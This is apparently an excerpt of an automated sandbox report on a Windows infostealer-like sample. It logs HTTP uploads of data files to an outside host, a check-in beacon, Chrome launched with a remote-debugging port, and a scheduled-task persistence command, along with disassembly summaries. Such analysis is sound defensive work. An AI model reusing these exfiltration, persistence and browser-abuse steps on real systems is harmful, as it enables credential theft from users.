--------------------------1HMovXwVt5rtBGFUqTvSw4Content-Disposition: form-data; name="file"; filename="Pidubibat.bin"Content-Type: application/octet-streama2z]WCDwcp&:%D?B'O9r,Na,/<C'-uP>"mx\|9Xb3:v6Ck[D9&e`v2%](3i}Cy_"9jWF{41hySa0Y5s_WU)H+"+xY)F1CL[&j1+a[hj;-iMe+ll,!^cUtyw0WdEUj)F~i`@K;a=D6p&e^rwDq;yN\R'ajADX}^/\i4<fL@:f S2FW6(Wt$8DDn?]SVIw~lfNf1o)y~f)n,t-G]\|,x):g+T:Rs$<)c@}QVeF^q;y]Kuonz,]MG]Km'17nQWW@i)aShE5!$JJF,CXzK22q'5E\Kl!f[$~S"X4$yhs2)30c{?U'Y}a\| [TRUNCATED]
Dec 19, 2024 08:01:23.409537077 CET	2472	OUT	Data Raw: 90 9a b5 bb f3 8b 44 18 98 3d 8c f4 bb 64 ec ce 48 10 bb 0f dd 65 ee 17 7c a9 ae a1 b4 61 e5 e9 0c 6e c7 d3 27 7f ab a0 33 e2 80 a1 a8 3d 61 d6 dc 58 97 2c 22 24 c2 33 36 cc dd ed c2 47 e3 32 2e 6c 47 84 d1 64 89 d6 c3 7d 86 4f 22 ae c0 d2 87 ec Data Ascii: D=dHe\|an'3=aX,"$36G2.lGd}O"<$ -sWSeg_* e^B<Ve[Z"&^dNl&cu>B[i6~KO,L}r?F,J~~rIk#.-m}#uJ
Dec 19, 2024 08:01:23.409579992 CET	2472	OUT	Data Raw: 06 7c 6b 78 71 39 54 9e 3c d2 2a 6a fc 71 72 4b b5 cd e4 d5 11 48 41 89 9f 28 1f 16 a6 ba 07 36 46 29 16 39 b2 51 92 a1 33 9f 27 fc 0a e0 ed 60 ae 63 a7 94 de 5b a7 1d 63 61 56 82 b7 e1 f4 61 d6 46 9f 20 c6 98 40 34 ed f4 f7 2c 0d 58 bb 2a 1c bf Data Ascii: \|kxq9T<jqrKHA(6F)9Q3'`c[caVaF @4,X\|#[z'qezfIK&sPsb*XdG 6o1?;# lz>HW^uzUD%"=nj0Gqb4QhfI/SdD Z[M9_K@RN$C2=
Dec 19, 2024 08:01:23.409600019 CET	2472	OUT	Data Raw: 48 20 b0 62 8d 44 ba 62 a8 4d 65 31 c6 e9 64 36 f3 bc 84 cb bd fa 0f 24 06 89 01 ec 70 68 3b 0a bb 07 50 d1 b4 b5 34 5a 70 12 19 5d d0 09 79 cc 8f 34 08 41 f0 8d 9a 8e 89 a7 ea 28 d4 a3 c5 5d 05 44 ff 14 4c cb d4 16 4b a1 d3 8b 9b c3 75 8d 17 03 Data Ascii: H bDbMe1d6$ph;P4Zp]y4A(]DLKu:},*w}eLSpqYnlFcY4nXhm(yG\FUsN'bb:[k6}j++;AjcC269Pl\|-wV\|E
Dec 19, 2024 08:01:23.409624100 CET	2472	OUT	Data Raw: 18 a0 0f 78 50 d5 1d 70 bd e9 9e 04 e7 8e 11 57 7c 4a 1c 93 a4 5b 33 14 47 41 87 9d d5 ea 54 bb 28 63 71 bc 1a 57 b3 e3 ac 4f 96 51 0d 51 a9 28 0f fc ff 31 08 c8 59 ed 3d 00 b4 be 70 bf 3f eb 8b c6 3e 90 6d 99 60 ae 07 e8 09 82 04 b0 d7 18 80 e1 Data Ascii: xPpW\|J[3GAT(cqWOQQ(1Y=p?>m`Z@lEOzqEuI"=(,[[i,G#uBa"Os2o1(jI^->#9C9c/J<)I)aX\$T#vkI@)+57m_{
Dec 19, 2024 08:01:23.409754992 CET	2472	OUT	Data Raw: 25 0d 42 1e e6 e7 43 cd 77 17 75 ef be 04 29 94 0f 77 81 e2 a9 7c 61 b6 62 ef 11 4c aa a7 16 d3 b3 fa 39 0e 4e 51 08 8d a7 e7 9d 6d 39 bc 26 d6 3a 06 a1 aa 2b 09 ad de 76 0a 13 29 0f d6 8d ab c0 79 75 20 cb 04 20 40 74 d7 b2 21 7d ec 27 1a d5 bf Data Ascii: %BCwu)w\|abL9NQm9&:+v)yu @t!}'N~n;GP`;~c_u'{8VDnw5D@@zCTQALCi \|``7"[H'%;5x7UqwV
Dec 19, 2024 08:01:23.409766912 CET	2472	OUT	Data Raw: 71 45 e7 5b 93 87 a0 77 c0 51 b3 62 bc 47 35 73 d5 eb b6 e5 14 14 0e e8 80 de 5b c0 03 ec 97 60 3a e9 14 bc 73 e9 2c ee b3 df 55 d7 a7 cc 14 3c db c7 71 3f 90 bf 2d fe f7 ac bb fa c3 b7 4e 72 13 1e b4 e2 70 71 65 5b 41 15 2d b4 37 9f f9 72 74 42 Data Ascii: qE[wQbG5s[`:s,U<q?-Nrpqe[A-7rtBjt3Zzb( a{GicJoh?GgO?&m-M-hmXH]2lAL<0xfg.mieou>smRs*[^UC0-T;
Dec 19, 2024 08:01:23.409871101 CET	4944	OUT	Data Raw: 13 3b 62 26 3d b7 86 eb 3e 4e 4e 05 d3 c7 88 7d 2e 93 c9 67 62 f3 8d 93 99 bf 51 62 85 7e 3d ce ee c1 00 61 b9 8b cd ac ff 9c 76 a9 b9 f6 94 4f d3 95 08 15 14 53 66 b8 a8 0e eb a0 aa bc d8 d4 a6 b0 48 0d ad 86 ff 53 70 cd 68 30 80 8d 42 7c bc bd Data Ascii: ;b&=>NN}.gbQb~=avOSfHSph0B\|2x`x#N;3fP{f_2fjwvUYk1#%p)6D%Hn]nZ\|?P{TPc2]pX"fyEb"hBTMVm9%KL6::dG^m%T0wZ*8>
Dec 19, 2024 08:01:23.409971952 CET	4944	OUT	Data Raw: 82 e0 1c 19 7a 02 ff 95 04 32 c1 ce d7 96 36 08 9a b6 8d 79 c0 99 69 60 a1 14 c3 79 30 11 46 ce ed f6 25 26 7e 1a e1 71 04 1e 0b c6 17 8d e0 c5 8a b8 d5 48 d3 6c 4a f8 6d d2 63 1b 58 0d 9d 49 16 1b 8e 79 cf 71 06 05 56 ad 21 76 2e b4 c2 3d e0 dd Data Ascii: z26yi`y0F%&~qHlJmcXIyqV!v.='so;N<$N1ey4?6IpdeL2W{ZC'o`K\Zdc}7q@~qa!1(1{q+m0{DhiY1D<;n*'`~fU8eU0p
Dec 19, 2024 08:01:23.695914984 CET	42024	OUT	Data Raw: 90 19 53 ce 23 36 43 fa 57 dd 97 75 15 d9 a5 8b da f6 ad 94 4f bc 28 3e 4f 72 86 8c ac 7e c3 c0 50 de 62 04 2a 75 82 86 b2 e5 29 6a c8 f0 5c 9b 4f 48 9b f5 5b 0b a3 73 93 b4 6e ed 69 b4 c3 6c be ae 75 69 f8 e5 3b ae 83 28 96 01 d7 f1 32 64 93 fc Data Ascii: S#6CWuO(>Or~Pb*u)j\OH[snilui;(2d1G`#zEB1[\kQR6d_?CoW=bwtZ}'#OP2?tg+H'V`']&E>[qu:=\O%&m&iOHb>_<!sXJahMAH
Dec 19, 2024 08:01:23.861200094 CET	7416	OUT	Data Raw: 7a 20 10 bd f2 cb 55 aa 13 c5 67 d7 26 70 76 af 64 98 e8 15 ae 85 5d 2b 3c e5 48 17 b3 46 9c da 36 9a 20 62 0a d4 b5 00 dd 10 ba 4c 7b 35 1f 67 c8 27 4f df ac 7e 8c 84 ea fe 76 1a 7a 0b 32 48 61 0b cc 55 58 77 b6 ae 80 43 ec e5 75 10 aa 84 81 29 Data Ascii: z Ug&pvd]+<HF6 bL{5g'O~vz2HaUXwCu)6va\C,^uC^G\|B8]v(k-gTe+e@WaB%V'#6bn^TG*v+>^ltas,:O"2AMv
Dec 19, 2024 08:01:26.104398966 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:01:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 25 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49841	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:01:32.019685984 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 34750 Content-Type: multipart/form-data; boundary=------------------------L4GbWtrpsRZIpKLuE1Vy2z Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4c 34 47 62 57 74 72 70 73 52 5a 49 70 4b 4c 75 45 31 56 79 32 7a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 70 75 72 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 70 d4 0d d7 a3 37 89 f1 98 38 71 e5 79 1c 2a 91 6c 89 1b df cb b0 2e 66 a5 77 25 43 f1 66 ea 95 5d 31 b9 91 2e 87 13 8d f3 22 f0 bd 68 08 67 53 12 83 d5 bc 21 6f 0a 45 45 fc f3 62 c7 4e 2d c9 18 f0 86 90 a8 4a a9 d9 1a 6e 4e 75 aa 79 99 a1 3e 5d 18 bb 76 42 54 65 74 5a 7c 3d e8 6a 89 28 82 1c 0e ff 27 e6 64 14 cb d7 1f 2d 46 21 10 9b de 65 40 b4 3d 95 99 7d 38 a7 16 ff af c0 b7 b1 58 76 af 7d be 16 30 79 87 f5 4f 01 75 27 29 65 82 a7 b2 db f1 f5 a4 57 26 4b 16 31 a1 9a 5f 87 cb 62 3f 19 9d f5 88 44 a5 1d dd da 95 99 90 b1 ce 9f [TRUNCATED] Data Ascii: --------------------------L4GbWtrpsRZIpKLuE1Vy2zContent-Disposition: form-data; name="file"; filename="Gupure.bin"Content-Type: application/octet-streamp78qy*l.fw%Cf]1."hgS!oEEbN-JnNuy>]vBTetZ\|=j('d-F!e@=}8Xv}0yOu')eW&K1_b?DyJPF3pFDt;h/<~?7/b<`9i)fbZcLw&/!0k?<)s=s2u+kiwf==><8ot7Ib~<{?ud7Ai>ir[l2rw[-{Nm:F\|VQ{nxeaZrp+w[gaU0_-_de=CH49zy3r9 ZQ:Ny{%u@j"5v=uIkeLpl%5nq&K[.0!OBwEV% \|Rp13cVzOS`&dV$&,<VV\m&S'J04a,zzQl1LD579jE2iL_$0svyY>W"N#p5JFu6!y\j/Ye1$KV1&b<z [TRUNCATED]
Dec 19, 2024 08:01:32.139554024 CET	4944	OUT	Data Raw: 41 c9 87 ed 44 b3 95 6a 96 df 6a 08 8c b1 6a 3a d2 4f 51 0b 3a 99 31 73 6c 06 75 ea 0e 63 e0 f8 9e 8e d7 8b e1 7a ff 47 7c 48 b2 37 3f 39 6a 99 d7 c4 33 38 d3 c7 18 1c 77 9e 03 6a 20 37 bb 6a 45 d5 07 09 44 d6 11 34 13 ec 16 dd f4 81 af b1 f1 19 Data Ascii: ADjjj:OQ:1sluczG\|H7?9j38wj 7jED4B'lF?fN_'W\|uj"z}}$kzo:&h7#xQlLb%[Z#SkE6)RiF%g~]MSci_PV{^GFtlEe
Dec 19, 2024 08:01:32.139624119 CET	9888	OUT	Data Raw: c3 00 9e 3a a5 03 50 76 0f 13 b1 ce 9d 3f 91 c2 42 35 c3 80 8c 0c 59 73 79 c9 de b7 56 41 fd 74 8e 2e b3 e6 84 37 c3 51 3f 88 7b fa 03 64 37 e3 c6 b1 be bc ea ab 30 c7 37 16 a2 05 72 d1 45 f5 dc 15 33 79 38 16 84 19 9b d2 11 89 39 aa 99 e3 6f d0 Data Ascii: :Pv?B5YsyVAt.7Q?{d707rE3y89osITqf}]cgWU'#t4c'~'@$R5-`UMV(leUK4#`jdq`:d]oV:H_>iu&z
Dec 19, 2024 08:01:32.139709949 CET	4944	OUT	Data Raw: 35 3f 71 88 02 4f 44 1a b4 d2 e0 46 43 e1 32 8b a1 0c ed f2 b8 01 7b 35 86 34 ce bc c5 ab 2e 0a e2 c2 23 76 76 e0 05 37 2f 3d 79 8a d7 bf f5 e1 b8 e7 89 d9 e8 18 f0 35 f1 d5 c7 d6 13 f5 b1 86 0f 7d be e2 6b 12 1a 30 bd d5 8d b4 42 d4 00 05 47 de Data Ascii: 5?qODFC2{54.#vv7/=y5}k0BG}?3vyb~V?w^Ip}ibr'aVK&WX>nh3Cpyk; g% n*rJ_,u1C.R>.r
Dec 19, 2024 08:01:32.139789104 CET	2798	OUT	Data Raw: 2b 0c 15 6e f2 fa 1e 94 cc 78 dd 94 ce 1d 88 cc 29 81 ca ac 7f 1c f1 87 7f d8 2c d8 bb 58 e8 74 75 65 74 67 b4 59 3a b2 38 f3 3a 81 bf ab 00 69 5c a9 2d 3d 26 13 72 a9 2e 32 69 5b 39 b0 c7 2b 1b 27 67 a6 51 6f 54 2d d8 9f 37 6d 8b 19 e2 ad 63 eb Data Ascii: +nx),XtuetgY:8:i\-=&r.2i[9+'gQoT-7mcwmuLD0yAV)2G$:ON~AGa5<Gid_~H_W/z]?eul2S<Aj`#Z^Qcj
Dec 19, 2024 08:01:33.661639929 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:01:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 24 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49849	194.87.47.113	80	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:01:34.973314047 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 51 6c 61 6f 7a 50 6d 63 43 75 50 41 67 71 34 77 31 37 33 34 35 39 31 36 35 33 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "QlaozPmcCuPAgq4w1734591653", "data": "Done2" }
Dec 19, 2024 08:01:37.264709949 CET	160	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:01:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 4 Connection: close Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49712	98.85.100.80	443	5900	C:\Users\user\Desktop\NVkyG9HAeY.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:00:46 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-19 07:00:46 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:00:46 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-19 07:00:46 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	02:00:41
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\NVkyG9HAeY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NVkyG9HAeY.exe"
Imagebase:	0xce0000
File size:	4'449'792 bytes
MD5 hash:	60CB08AFF943753C526CF73FD6007489
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:01:25
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:01:26
Start date:	19/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2256,i,14432430803274896286,16622150028371568839,262144 /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:02:47
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\service123.exe"
Imagebase:	0x950000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:02:47
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Imagebase:	0xcb0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:02:47
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:02:48
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 1148
Imagebase:	0xea0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:02:50
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x950000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:03:03
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x950000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:04:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x950000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:05:01
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\service123.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\/service123.exe
Imagebase:	0x950000
File size:	314'617'856 bytes
MD5 hash:	110FE44D33E426703CD712E879D34CBC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50.4%
Total number of Nodes:	125
Total number of Limit Nodes:	4

Executed Functions

Function 0095116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 009511B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00951238
__p__acmdln.MSVCRT ref: 00951261
malloc.MSVCRT ref: 009512EB
strlen.MSVCRT ref: 00951323
malloc.MSVCRT ref: 0095132E
memcpy.MSVCRT ref: 00951344
GetStartupInfoA.KERNEL32 ref: 00951433

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: malloc$ExceptionFilterInfoSleepStartupUnhandled__p__acmdlnmemcpystrlen
String ID:
API String ID: 1672962128-0
Opcode ID: 2b1414495254ec9efc118ea2b98d9c4ce6a88a2e2b193852ef24aba2c0711188
Instruction ID: 961fdfbc602752422ee2c2787aa0200af3ca4de332820f07737f8482eb734a28
Opcode Fuzzy Hash: 2b1414495254ec9efc118ea2b98d9c4ce6a88a2e2b193852ef24aba2c0711188
Instruction Fuzzy Hash: 29818C719093008FDB20EFB7E89436EBBE4FB85306F004929DD859B291D775A84DDB92

Function 6C7A14B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 6C7A14CD
_exit.MSVCRT ref: 6C7A151A
_write.MSVCRT ref: 6C7A156A
_close.MSVCRT ref: 6C7A1579

Strings

terminated, xrefs: 6C7A1540
CONOUT$, xrefs: 6C7A14C6
@, xrefs: 6C874AB1

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 7593ed3fbf73cee81161a09e806b32a90973a776eebfe72bbed5723cce4e6d0b
Instruction ID: 706af5a0367132f3324b653738d416c78040899657f1531987c9eff4822324ec
Opcode Fuzzy Hash: 7593ed3fbf73cee81161a09e806b32a90973a776eebfe72bbed5723cce4e6d0b
Instruction Fuzzy Hash: 994138B1908305DFDB10DFB9C64965EBBF4AB89318F008A2DE8A5E7680E334D545CF56

Function 009515B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_open.MSVCRT ref: 009515CD
_exit.MSVCRT ref: 0095161A
_write.MSVCRT ref: 0095166A
_close.MSVCRT ref: 00951679

Strings

CONOUT$, xrefs: 009515C6
terminated, xrefs: 00951640
@, xrefs: 00958341

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: _close_exit_open_write
String ID: terminated$@$CONOUT$
API String ID: 28676597-491099378
Opcode ID: 540bef5ad062874d2d03b8add02d5f85b616f3f6283f842428710a0dbc9ae62d
Instruction ID: 93369f266f7f3b2775ad936b4de5a4453fc5f9c2ecbbf157c22196dda410156a
Opcode Fuzzy Hash: 540bef5ad062874d2d03b8add02d5f85b616f3f6283f842428710a0dbc9ae62d
Instruction Fuzzy Hash: 22415CB09193018FDB10DF7AC84476FBBE4AB84306F008A2DE855D7290E739D809DB56

Function 6C7B9C22 Relevance: 15.1, APIs: 10, Instructions: 110
sleepclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C7B9EB0: GetClipboardSequenceNumber.USER32 ref: 6C7B9EBE

Sleep.KERNELBASE ref: 6C7B9BFF
GetClipboardSequenceNumber.USER32 ref: 6C7B9C08

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: ClipboardNumberSequence$Sleep
String ID:
API String ID: 2948009381-0
Opcode ID: 7f525bf77377b5ea2aa58513e64b6b4441af919a79aa13479eebe80de4ff8670
Instruction ID: cb0572e8252018762fec5cf443eab69b2c5b4397a48bf2e12f362fc262d09ee7
Opcode Fuzzy Hash: 7f525bf77377b5ea2aa58513e64b6b4441af919a79aa13479eebe80de4ff8670
Instruction Fuzzy Hash: 6941D7B15082058ECB10EF78D28859EBBF4AF65208F404D7DE8A697640EB34A90DCB92

Function 009581E0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,0095138E,?,?,00006EA2,0095138E), ref: 00958271
GetProcAddress.KERNEL32 ref: 0095828B
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,0095138E,?,?,00006EA2,0095138E), ref: 0095829D

Strings

Failed to get function address. Error code: %d, xrefs: 009582E0
NKUGaMdqDCBMAQCywoWm, xrefs: 0095827E
ehoYPkfWhVokJMBQVokJMBQaExv.dll, xrefs: 0095824A

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Failed to get function address. Error code: %d$NKUGaMdqDCBMAQCywoWm$ehoYPkfWhVokJMBQVokJMBQaExv.dll
API String ID: 145871493-3680983564
Opcode ID: b816ee3409cc69514d52f2b69e1d8a0a16b95d13025c7c261ef88b92249bb939
Instruction ID: 2d4609c3b6038c539c7736faad3f591431dc16369a87b54491154b4fa42a7db8
